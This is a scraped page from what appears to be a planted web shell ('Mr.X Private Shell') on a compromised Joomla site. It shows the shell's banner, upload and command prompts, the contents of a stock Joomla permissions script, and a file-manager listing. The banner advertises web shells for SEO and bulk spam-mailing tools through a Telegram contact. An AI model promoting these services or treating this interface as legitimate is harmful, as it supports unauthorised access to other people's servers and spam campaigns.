__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * @copyright  (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */
window.customElements.define('joomla-field-permissions', class extends HTMLElement {
  constructor() {
    super();
    if (!Joomla) {
      throw new Error('Joomla API is not properly initiated');
    }
    if (!this.getAttribute('data-uri')) {
      throw new Error('No valid url for validation');
    }
    this.query = window.location.search.substring(1);
    this.buttons = '';
    this.buttonDataSelector = 'data-onchange-task';
    this.onDropdownChange = this.onDropdownChange.bind(this);
    this.getUrlParam = this.getUrlParam.bind(this);
    this.component = this.getUrlParam('component');
    this.extension = this.getUrlParam('extension');
    this.option = this.getUrlParam('option');
    this.view = this.getUrlParam('view');
    this.asset = 'not';
    this.context = '';
  }

  /**
   * Lifecycle
   */
  connectedCallback() {
    this.buttons = [].slice.call(document.querySelectorAll(`[${this.buttonDataSelector}]`));
    if (this.buttons) {
      this.buttons.forEach(button => {
        button.addEventListener('change', this.onDropdownChange);
      });
    }
  }

  /**
   * Lifecycle
   */
  disconnectedCallback() {
    if (this.buttons) {
      this.buttons.forEach(button => {
        button.removeEventListener('change', this.onDropdownChange);
      });
    }
  }

  /**
   * Lifecycle
   */
  onDropdownChange(event) {
    event.preventDefault();
    const task = event.target.getAttribute(this.buttonDataSelector);
    if (task === 'permissions.apply') {
      this.sendPermissions(event);
    }
  }
  sendPermissions(event) {
    const {
      target
    } = event;

    // Set the icon while storing the values
    const icon = document.getElementById(`icon_${target.id}`);
    icon.removeAttribute('class');
    icon.setAttribute('class', 'joomla-icon joomla-field-permissions__spinner');

    // Get values add prepare GET-Parameter
    const {
      value
    } = target;
    if (document.getElementById('jform_context')) {
      this.context = document.getElementById('jform_context').value;
      [this.context] = this.context.split('.');
    }
    if (this.option === 'com_config' && !this.component && !this.extension) {
      this.asset = 'root.1';
    } else if (!this.extension && this.view === 'component') {
      this.asset = this.component;
    } else if (this.context) {
      if (this.view === 'group') {
        this.asset = `${this.context}.fieldgroup.${this.getUrlParam('id')}`;
      } else {
        this.asset = `${this.context}.field.{this.getUrlParam('id')}`;
      }
      this.title = document.getElementById('jform_title').value;
    } else if (this.extension && this.view) {
      this.asset = `${this.extension}.${this.view}.${this.getUrlParam('id')}`;
      this.title = document.getElementById('jform_title').value;
    } else if (!this.extension && this.view) {
      this.asset = `${this.option}.${this.view}.${this.getUrlParam('id')}`;
      this.title = document.getElementById('jform_title').value;
    }
    const id = target.id.replace('jform_rules_', '');
    const lastUnderscoreIndex = id.lastIndexOf('_');
    const permissionData = {
      comp: this.asset,
      action: id.substring(0, lastUnderscoreIndex),
      rule: id.substring(lastUnderscoreIndex + 1),
      value,
      title: this.title
    };

    // Remove JS messages, if they exist.
    Joomla.removeMessages();

    // Ajax request
    Joomla.request({
      url: this.getAttribute('data-uri'),
      method: 'POST',
      data: JSON.stringify(permissionData),
      perform: true,
      headers: {
        'Content-Type': 'application/json'
      },
      onSuccess: data => {
        let response;
        try {
          response = JSON.parse(data);
        } catch (e) {
          // eslint-disable-next-line no-console
          console.error(e);
        }
        icon.removeAttribute('class');

        // Check if everything is OK
        if (response.data && response.data.result) {
          icon.setAttribute('class', 'joomla-icon joomla-field-permissions__allowed');
          const badgeSpan = target.parentNode.parentNode.nextElementSibling.querySelector('span');
          badgeSpan.removeAttribute('class');
          badgeSpan.setAttribute('class', response.data.class);
          badgeSpan.innerHTML = Joomla.sanitizeHtml(response.data.text);
        }

        // Render messages, if any. There are only message in case of errors.
        if (typeof response.messages === 'object' && response.messages !== null) {
          Joomla.renderMessages(response.messages);
          if (response.data && response.data.result) {
            icon.setAttribute('class', 'joomla-icon joomla-field-permissions__allowed');
          } else {
            icon.setAttribute('class', 'joomla-icon joomla-field-permissions__denied');
          }
        }
      },
      onError: xhr => {
        // Remove the spinning icon.
        icon.removeAttribute('style');
        Joomla.renderMessages(Joomla.ajaxErrorsMessages(xhr, xhr.statusText));
        icon.setAttribute('class', 'joomla-icon joomla-field-permissions__denied');
      }
    });
  }
  getUrlParam(variable) {
    const vars = this.query.split('&');
    let i = 0;
    for (i; i < vars.length; i += 1) {
      const pair = vars[i].split('=');
      if (pair[0] === variable) {
        return pair[1];
      }
    }
    return false;
  }
});

Filemanager

Name Type Size Permission Actions
calendar-locales Folder 0775
calendar.js File 40.8 KB 0664
calendar.min.js File 24.01 KB 0664
calendar.min.js.gz File 6.75 KB 0664
color-field-adv-init.js File 1.09 KB 0664
color-field-adv-init.min.js File 788 B 0664
color-field-adv-init.min.js.gz File 430 B 0664
joomla-field-color-slider-es5.js File 20.56 KB 0664
joomla-field-color-slider-es5.min.js File 8.19 KB 0664
joomla-field-color-slider-es5.min.js.gz File 2.75 KB 0664
joomla-field-color-slider.js File 17.65 KB 0664
joomla-field-color-slider.min.js File 7.71 KB 0664
joomla-field-color-slider.min.js.gz File 2.64 KB 0664
joomla-field-fancy-select-es5.js File 18.81 KB 0664
joomla-field-fancy-select-es5.min.js File 8.25 KB 0664
joomla-field-fancy-select-es5.min.js.gz File 2.77 KB 0664
joomla-field-fancy-select.js File 13.19 KB 0664
joomla-field-fancy-select.min.js File 6.03 KB 0664
joomla-field-fancy-select.min.js.gz File 1.99 KB 0664
joomla-field-media-es5.js File 32.55 KB 0664
joomla-field-media-es5.min.js File 17.69 KB 0664
joomla-field-media-es5.min.js.gz File 5.55 KB 0664
joomla-field-media.js File 12.38 KB 0664
joomla-field-media.min.js File 8.33 KB 0664
joomla-field-media.min.js.gz File 2.33 KB 0664
joomla-field-module-order-es5.js File 7.66 KB 0664
joomla-field-module-order-es5.min.js File 3.88 KB 0664
joomla-field-module-order-es5.min.js.gz File 1.62 KB 0664
joomla-field-module-order.js File 4.29 KB 0664
joomla-field-module-order.min.js File 2.4 KB 0664
joomla-field-module-order.min.js.gz File 1.04 KB 0664
joomla-field-permissions-es5.js File 9.04 KB 0664
joomla-field-permissions-es5.min.js File 4.96 KB 0664
joomla-field-permissions-es5.min.js.gz File 1.89 KB 0664
joomla-field-permissions.js File 5.38 KB 0664
joomla-field-permissions.min.js File 3.45 KB 0664
joomla-field-permissions.min.js.gz File 1.3 KB 0664
joomla-field-send-test-mail-es5.js File 5.67 KB 0664
joomla-field-send-test-mail-es5.min.js File 2.89 KB 0664
joomla-field-send-test-mail-es5.min.js.gz File 1.2 KB 0664
joomla-field-send-test-mail.js File 2.54 KB 0664
joomla-field-send-test-mail.min.js File 1.49 KB 0664
joomla-field-send-test-mail.min.js.gz File 688 B 0664
joomla-field-simple-color-es5.js File 18.41 KB 0664
joomla-field-simple-color-es5.min.js File 9.58 KB 0664
joomla-field-simple-color-es5.min.js.gz File 3.69 KB 0664
joomla-field-simple-color.js File 12.92 KB 0664
joomla-field-simple-color.min.js File 7.45 KB 0664
joomla-field-simple-color.min.js.gz File 2.88 KB 0664
joomla-field-subform-es5.js File 23.87 KB 0664
joomla-field-subform-es5.min.js File 9.62 KB 0664
joomla-field-subform-es5.min.js.gz File 3.16 KB 0664
joomla-field-subform.js File 17.68 KB 0664
joomla-field-subform.min.js File 7.26 KB 0664
joomla-field-subform.min.js.gz File 2.24 KB 0664
joomla-field-user-es5.js File 10.28 KB 0664
joomla-field-user-es5.min.js File 5.46 KB 0664
joomla-field-user-es5.min.js.gz File 1.8 KB 0664
joomla-field-user.js File 4.83 KB 0664
joomla-field-user.min.js File 3.16 KB 0664
joomla-field-user.min.js.gz File 990 B 0664
joomla-media-select-es5.js File 43.89 KB 0664
joomla-media-select-es5.min.js File 24.91 KB 0664
joomla-media-select-es5.min.js.gz File 6.89 KB 0664
joomla-media-select.js File 20.56 KB 0664
joomla-media-select.min.js File 14.42 KB 0664
joomla-media-select.min.js.gz File 3.37 KB 0664
modal-fields.js File 6.67 KB 0664
modal-fields.min.js File 2.59 KB 0664
modal-fields.min.js.gz File 844 B 0664
passwordstrength-es5.js File 6.92 KB 0664
passwordstrength-es5.min.js File 2.81 KB 0664
passwordstrength-es5.min.js.gz File 1.12 KB 0664
passwordstrength.js File 6.36 KB 0664
passwordstrength.min.js File 2.72 KB 0664
passwordstrength.min.js.gz File 1.11 KB 0664
passwordview-es5.js File 2.61 KB 0664
passwordview-es5.min.js File 1.14 KB 0664
passwordview-es5.min.js.gz File 573 B 0664
passwordview.js File 2.42 KB 0664
passwordview.min.js File 1.08 KB 0664
passwordview.min.js.gz File 555 B 0664
select-colour-es5.js File 1.55 KB 0664
select-colour-es5.min.js File 859 B 0664
select-colour-es5.min.js.gz File 441 B 0664
select-colour.js File 1.39 KB 0664
select-colour.min.js File 798 B 0664
select-colour.min.js.gz File 401 B 0664
tag.js File 2.09 KB 0664
tag.min.js File 1.05 KB 0664
tag.min.js.gz File 528 B 0664
validate-es5.js File 29.87 KB 0664
validate-es5.min.js File 9.85 KB 0664
validate-es5.min.js.gz File 3.83 KB 0664
validate.js File 24.17 KB 0664
validate.min.js File 8.09 KB 0664
validate.min.js.gz File 3.03 KB 0664
Filemanager